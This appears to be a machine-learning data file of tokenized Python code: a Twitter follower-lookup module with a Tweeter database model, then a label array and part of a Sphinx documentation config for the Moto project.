"\\u", "background", "\\u", "color", "\":", " ", "\"", "AC", "DED", "6", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "verifie", "d", "\":", " ", "true", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "notification", "s", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "time", "\\u", "zone", "\":", " ", "\"", "Pac", "ifi", "c", " ", "Time", " ", "(", "US", " ", "&", " ", "Cana", "da", ")\"", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "status", "es", "\\u", "count", "\":", " ", "137", "9", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "profile", "\\u", "background", "\\u", "image", "\\u", "url", "\":", " ", "\"", "http", "://", "a0", ".", "twi", "mg", ".", "com", "/", "profile", "\\u", "background", "\\u", "images", "/", "378", "245", "879", "/", "Twit", "ter", "\\u", "154", "4", "x2", "000", ".", "png", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "default", "\\u", "profile", "\\u", "image", "\":", " ", "fal", "se", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "friends", "\\u", "count", "\":", " ", "119", "5", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "screen", "\\u", "name", "\":", " ", "\"", "twit", "ter", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "follow", "ing", "\":", " ", "true", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "\"", "show", "\\u", "all", "\\u", "inline", "\\u", "media", "\":", " ", "true_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "}_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "]_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "App", "Dict", "Client_", "(_", "App", "Client_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "App", "Dict", "Client_", "(_", "App", "Client_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "@_", "staticmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "\\u", "json", "\\u", "object\\u", "hook_", "(_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "handle", "\\u", "all", "\\u", "user", "\\u", "lookups", "_", "(_", "user", "\\u", "dict", "s", "\\u", "from", "\\u", "twitter_", ",_", "tweet", "ers_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dict", "s", "\\u", "by", "\\u", "screen", "\\u", "name_", "=_", "defaultdict_", "(_", "str_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "user", "\\u", "dict_", "in_", "user", "\\u", "dict", "s", "\\u", "from", "\\u", "twitter_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dict", "s", "\\u", "by", "\\u", "screen", "\\u", "name_", "[_", "user", "\\u", "dict_", "[_", "\"", "screen", "\\u", "name", "\"_", "]_", "._", "lower_", "(_", ")_", "]_", "=_", "user", "\\u", "dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "tweet", "er_", "in_", "tweet", "ers_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tweet", "er_", "._", "screen", "\\u", "name_", "._", "lower_", "(_", ")_", "in_", "dict", "s", "\\u", "by", "\\u", "screen", "\\u", "name_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "dict_", "=_", "dict", "s", "\\u", "by", "\\u", "screen", "\\u", "name_", "[_", "tweet", "er_", "._", "screen", "\\u", "name_", "._", "lower_", "(_", ")_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tweet", "er_", "._", "set\\u", "attribute", "s", "\\u", "from", "\\u", "twit", "ter", "\\u", "data_", "(_", "user", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "i", ",", " ", "\"", "update", "d", " ", "tweet", "er", "\",", " ", "tweet", "er", ",", " ", "tweet", "er", ".", "last", "\\u", "collected", "\\u", "date_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tweet", "er_", "._", "set\\u", "as", "\\u", "deleted_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "db_", "._", "session_", "._", "merge_", "(_", "tweet", "er_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "and", "\\u", "save", "\\u", "tweet", "er", "\\u", "followers", "_", "(_", "tweet", "ers_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "client_", "=_", "App", "Dict", "Client_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "getenv_", "(_", "\"", "TWITTER", "\\u", "CONSU", "MER", "\\u", "KEY", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "os_", "._", "getenv_", "(_", "\"", "TWITTER", "\\u", "CONSU", "MER", "\\u", "SEC", "RET", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "access", "\\u", "token_", "=_", "os_", "._", "getenv_", "(_", "\"", "TWITTER", "\\u", "ACCESS", "\\u", "TOKEN", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "logger_", "._", "info_", "(_", "u", "\"", "Length", " ", "of", " ", "tweet", "ers", " ", "{", "num", "}\"_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "num_", "=_", "len_", "(_", "tweet", "ers_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "\"", "length", " ", "of", " ", "tweet", "ers", "\",", " ", "len", "(", "tweet", "ers", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "screen", "\\u", "names", "\\u", "string_", "=_", "\",\"_", "._", "join_", "(_", "[_", "tweet", "er_", "._", "screen", "\\u", "name_", "for_", "tweet", "er_", "in_", "tweet", "ers_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\",", " ", "\"_", "._", "join_", "(_", "[_", "tweet", "er_", "._", "screen", "\\u", "name_", "for_", "tweet", "er_", "in_", "tweet", "ers_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "client_", "._", "api_", "._", "users_", "._", "lookup_", "._", "post_", "(_", "screen", "\\u", "name_", "=_", "screen", "\\u", "names", "\\u", "string_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "handle", "\\u", "all", "\\u", "user", "\\u", "lookups", "_", "(_", "response_", "._", "data_", ",_", "tweet", "ers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Twit", "ter", "Ap", "i", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "exception_", "(_", "\"", "Twit", "ter", "Ap", "i", "Error", " ", "error", ",", " ", "skip", "ping", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Twit", "ter", "Client", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "exception_", "(_", "\"", "Twit", "ter", "Client", "Error", " ", "error", ",", " ", "skip", "ping", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Twit", "ter", "Rat", "e", "Limit", "Error_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logger_", "._", "exception_", "(_", "\"", "Twit", "ter", "Rat", "e", "Limit", "Error", " ", "error", ",", " ", "skip", "ping", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "not", " ", "total", "ly", " ", "sure", " ", "what", " ", "else", " ", "I", " ", "shou", "ld", " ", "do", " ", "here", ".", " ", " ", "retr", "y", " ", "some", "how", ",", " ", "or", " ", "catch", " ", "on", " ", "clean", "up", " ", "run", "?", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "commit_", "(_", "db_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Tweet", "er_", "(_", "db_", "._", "Model_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "screen", "\\u", "name_", "=_", "db_", "._", "Column_", "(_", "db_", "._", "Text_", ",_", "primary", "\\u", "key_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "twit", "ter", "\\u", "id_", "=_", "db_", "._", "Column_", "(_", "db_", "._", "Integer_", ")_", "#", " ", "alter", " ", "table", " ", "tweet", "er", " ", "add", " ", "twit", "ter", "\\u", "id", " ", "int", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "followers", "_", "=_", "db_", "._", "Column_", "(_", "db_", "._", "Integer_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name_", "=_", "db_", "._", "Column_", "(_", "db_", "._", "Text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "description_", "=_", "db_", "._", "Column_", "(_", "db_", "._", "Text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "location_", "=_", "db_", "._", "Column_", "(_", "db_", "._", "Text_", ")_", "#", " ", "alter", " ", "table", " ", "tweet", "er", " ", "add", " ", "location", " ", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "image", "\\u", "url_", "=_", "db_", "._", "Column_", "(_", "db_", "._", "Text_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "profile", "\\u", "url_", "=_", "db_", "._", "Column_", "(_", "db_", "._", "Text_", ")_", "#", " ", "alter", " ", "table", " ", "tweet", "er", " ", "add", " ", "profile", "\\u", "url", " ", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "statuses_", "=_", "db_", "._", "Column_", "(_", "db_", "._", "Integer_", ")_", "#", " ", "alter", " ", "table", " ", "tweet", "er", " ", "add", " ", "num", "\\u", "status", "es", " ", "int", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "num", "\\u", "follow", "s_", "=_", "db_", "._", "Column_", "(_", "db_", "._", "Integer_", ")_", "#", " ", "alter", " ", "table", " ", "tweet", "er", " ", "add", " ", "num", "\\u", "follow", "s", " ", "int", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "last", "\\u", "collected", "\\u", "date_", "=_", "db_", "._", "Column_", "(_", "db_", "._", "Date", "Time_", "(_", ")_", ")_", "#", "alter", " ", "table", " ", "tweet", "er", " ", "add", " ", "last", "\\u", "collected", "\\u", "date", " ", "timestamp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "\\u", "deleted_", "=_", "db_", "._", "Column_", "(_", "db_", "._", "Boolean_", ")_", "#", " ", "alter", " ", "table", " ", "tweet", "er", " ", "add", " ", "is", "\\u", "delete", "d", " ", "bool_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Tweet", "er_", "(_", "db_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "\"", "last", "\\u", "collected", "\\u", "date", "\"_", "in_", "kwargs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "last", "\\u", "collected", "\\u", "date_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "super_", "(_", "Tweet", "er_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", "**_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tweet", "er_", "(_", "db_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "cache", "d\\u", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "display", "\\u", "image", "\\u", "url_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "self_", "._", "image", "\\u", "url_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ret_", "=_", "self_", "._", "image", "\\u", "url_", "._", "replace_", "(_", "\"", "http", "://\"_", ",_", "\"", "https", "://\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "ret_", "._", "replace_", "(_", "\"\\u", "normal", "\"_", ",_", "\"\\u", "reason", "abl", "y", "\\u", "small", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "ret_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tweet", "er_", "(_", "db_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "attribute", "s", "\\u", "from", "\\u", "alt", "metric", "\\u", "post_", "(_", "self_", ",_", "post_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "followers", "_", "=_", "post_", "[_", "\"", "author", "\"_", "]_", "._", "get_", "(_", "\"", "followers", "\"_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "name_", "=_", "post_", "[_", "\"", "author", "\"_", "]_", "._", "get_", "(_", "\"", "name", "\"_", ",_", "self_", "._", "screen", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "description_", "=_", "post_", "[_", "\"", "author", "\"_", "]_", "._", "get_", "(_", "\"", "description", "\"_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "image", "\\u", "url_", "=_", "post_", "[_", "\"", "author", "\"_", "]_", "._", "get_", "(_", "\"", "image", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "don", "'", "t", " ", "update", " ", "last", "\\u", "collected", " ", "date", ",", " ", "bec", "aus", "e", " ", "alt", "metric", " ", "data", " ", "is", " ", "from", " ", "old", " ", "tweet_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tweet", "er_", "(_", "db_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "attribute", "s", "\\u", "from", "\\u", "twit", "ter", "\\u", "data_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "followers", "_", "=_", "data_", "._", "get_", "(_", "\"", "followers", "\\u", "count", "\"_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "name_", "=_", "data_", "._", "get_", "(_", "\"", "name", "\"_", ",_", "self_", "._", "screen", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "description_", "=_", "data_", "._", "get_", "(_", "\"", "description", "\"_", ",_", "\"\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "image", "\\u", "url_", "=_", "data_", "._", "get_", "(_", "\"", "profile", "\\u", "image", "\\u", "url", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "profile", "\\u", "url_", "=_", "data_", "._", "get_", "(_", "\"", "url", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "location_", "=_", "data_", "._", "get_", "(_", "\"", "location", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "num", "\\u", "statuses_", "=_", "data_", "._", "get_", "(_", "\"", "status", "es", "\\u", "count", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "num", "\\u", "follow", "s_", "=_", "data_", "._", "get_", "(_", "\"", "friends", "\\u", "count", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "twit", "ter", "\\u", "id_", "=_", "data_", "._", "get_", "(_", "\"", "id", "\"_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "last", "\\u", "collected", "\\u", "date_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tweet", "er_", "(_", "db_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "as", "\\u", "deleted_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "is", "\\u", "deleted_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "last", "\\u", "collected", "\\u", "date_", "=_", "datetime_", "._", "datetime_", "._", "utcnow_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tweet", "er_", "(_", "db_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "repr\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "u", "'<", "Tweet", "er", " ", "{", "screen", "\\u", "name", "}", " ", "{", "followers", "}>", "'_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "screen", "\\u", "name_", "=_", "self_", "._", "screen", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "followers", "_", "=_", "self_", "._", "followers", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Tweet", "er_", "(_", "db_", "._", "Model_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "to", "\\u", "dict_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "attribute", "s", "\\u", "to", "\\u", "ignore_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "tweet", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ret_", "=_", "dict", "\\u", "from", "\\u", "dir_", "(_", "self_", ",_", "attribute", "s", "\\u", "to", "\\u", "ignore_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "ret_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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Sun Jul 26 22:16:23 2015.\n#\n# This file is execfile()d with the current directory set to its\n# containing dir.\n#\n# Note that not all possible configuration values are present in this\n# autogenerated file.\n#\n# All configuration values have a default; values that are commented out\n# serve to show the default.\n\nimport sys\nimport os\nimport shlex\n\n# If extensions (or modules to document with autodoc) are in another directory,\n# add these directories to sys.path here. If the directory is relative to the\n# documentation root, use os.path.abspath to make it absolute, like shown here.\n#sys.path.insert(0, os.path.abspath('.'))\n\n# -- General configuration ------------------------------------------------\n\n# If your documentation needs a minimal Sphinx version, state it here.\n#needs_sphinx = '1.0'\n\n# Add any Sphinx extension module names here, as strings. They can be\n# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom\n# ones.\nextensions = []\n\n# Add any paths that contain templates here, relative to this directory.\ntemplates_path = ['_templates']\n\n# The suffix(es) of source filenames.\n# You can specify multiple suffix as a list of string:\n# source_suffix = ['.rst', '.md']\nsource_suffix = '.rst'\n\n# The encoding of source files.\n#source_encoding = 'utf-8-sig'\n\n# The master toctree document.\nmaster_doc = 'index'\n\n# General information about the project.\nproject = 'Moto'\ncopyright = '2015, Steve Pulec'\nauthor = 'Steve Pulec'\n\n# The version info for the project you're documenting, acts as replacement for\n# |version| and |release|, also used in various other places throughout the\n# built documents.\n#\n# The short X.Y version.\nversion = '0.4.10'\n# The full version, including alpha/beta/rc tags.\nrelease = '0.4.10'\n\n# The language for content autogenerated by Sphinx. Refer to documentation\n# for a list of supported languages.\n#\n# This is also used if you do content translation via gettext catalogs.\n# Usually you set \"language\" from the command line for these cases.\nlanguage = None\n\n# There are two options for replacing |today|: either, you set today to some\n# non-false value, then it is used:\n#today = ''\n# Else, today_fmt is used as the format for a strftime call.\n#today_fmt = '%B %d, %Y'\n\n# List of patterns, relative to source directory, that match files and\n# directories to ignore when looking for source files.\nexclude_patterns = ['_build']\n\n# The reST default role (used for this markup: `text`) to use for all\n# documents.\n#default_role = None\n\n# If true, '()' will be appended to :func: etc. cross-reference text.\n#add_function_parentheses = True\n\n# If true, the current module name will be prepended to all description\n# unit titles (such as .. function::).\n#add_module_names = True\n\n# If true, sectionauthor and moduleauthor directives will be shown in the\n# output. They are ignored by default.\n#show_authors = False\n\n# The name of the Pygments (syntax highlighting) style to use.\npygments_style = 'sphinx'\n\n# A list of ignored prefixes for module index sorting.\n#modindex_common_prefix = []\n\n# If true, keep warnings as \"system message\" paragraphs in the built documents.\n#keep_warnings = False\n\n# If true, `todo` and `todoList` produce output, else they produce nothing.\ntodo_include_todos = False\n\n\n# -- Options for HTML output ----------------------------------------------\n\n# The theme to use for HTML and HTML Help pages. See the documentation for\n# a list of builtin themes.\nhtml_theme = 'alabaster'\n\n# Theme options are theme-specific and customize the look and feel of a theme\n# further. For a list of options available for each theme, see the\n# documentation.\n#html_theme_options = {}\n\n# Add any paths that contain custom themes here, relative to this directory.\n#html_theme_path = []\n\n# The name for this set of Sphinx documents. If None, it defaults to\n# \"<project> v<release> documentation\".\n#html_title = None\n\n# A shorter title for the navigation bar. Default is the same as html_title.\n#html_short_title = None\n\n# The name of an image file (relative to this directory) to place at the top\n# of the sidebar.\n#html_logo = None\n\n# The name of an image file (within the static path) to use as favicon of the\n# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32\n# pixels large.\n#html_favicon = None\n\n# Add any paths that contain custom static files (such as style sheets) here,\n# relative to this directory. They are copied after the builtin static files,\n# so a file named \"default.css\" will overwrite the builtin \"default.css\".\nhtml_static_path = ['_static']\n\n# Add any extra paths that contain custom files (such as robots.txt or\n# .htaccess) here, relative to this directory. These files are copied\n# directly to the root of the documentation.\n#html_extra_path = []\n\n# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,\n# using the given strftime format.\n#html_last_updated_fmt = '%b %d, %Y'\n\n# If true, SmartyPants will be used to convert quotes and dashes to\n# typographically correct entities.\n#html_use_smartypants = True\n\n# Custom sidebar templates, maps document names to template names.\n#html_sidebars = {}\n\n# Additional templates that should be rendered to pages, maps page names to\n# template names.\n#html_additional_pages = {}\n\n# If false, no module index is generated.\n#html_domain_indices = True\n\n# If false, no index is generated.\n#html_use_index = True\n\n# If true, the index is split into individual pages for each letter.\n#html_split_index = False\n\n# If true, links to the reST sources are added to the pages.\n#html_show_sourcelink = True\n\n# If true, \"Created using Sphinx\" is shown in the HTML footer. Default is True.\n#html_show_sphinx = True\n\n# If true, \"(C) Copyright ...\" is shown in the HTML footer. Default is True.\n#html_show_copyright = True\n\n# If true, an OpenSearch description file will be output, and all pages will\n# contain a <link> tag referring to it. The value of this option must be the\n# base URL from which the finished HTML is served.\n#html_use_opensearch = ''\n\n# This is the file name suffix for HTML files (e.g. \".xhtml\").\n#html_file_suffix = None\n\n# Language to be used for generating the HTML full-text search index.\n# Sphinx supports the following languages:\n# 'da', 'de', 'en', 'es', 'fi', 'fr', 'h', 'it', 'ja'\n# 'nl', 'no', 'pt', 'ro', 'r', 'sv', 'tr'\n#html_search_language = 'en'\n\n# A dictionary with options for the search language support, empty by default.\n# Now only 'ja' uses this config value\n#html_search_options = {'type': 'default'}\n\n# The name of a javascript file (relative to the configuration directory) that\n# implements a search results scorer. If empty, the default will be used.\n#html_search_scorer = 'scorer.js'\n\n# Output file base name for HTML help builder.\nhtmlhelp_basename = 'Motodoc'\n\n# -- Options for LaTeX output ---------------------------------------------\n\nlatex_elements = {\n# The paper size ('letterpaper' or 'a4paper').\n#'papersize': 'letterpaper',\n\n# The font size ('10pt', '11pt' or '12pt').\n#'pointsize': '10pt',\n\n# Additional stuff for the LaTeX preamble.\n#'preamble': '',\n\n# Latex figure (float) alignment\n#'figure_align': 'htbp',\n}\n\n# Grouping the document tree into LaTeX files. List of tuples\n# (source start file, target name, title,\n# author, documentclass [howto, manual, or own class]).\nlatex_documents = [\n (master_doc, 'Moto.tex', 'Moto Documentation',\n 'Steve Pulec', 'manual'),\n]\n\n# The name of an image file (relative to this directory) to place at the top of\n# the title page.\n#latex_logo = None\n\n# For \"manual\" documents, if this is true, then toplevel headings are parts,\n# not chapters.\n#latex_use_parts = False\n\n# If true, show page references after internal 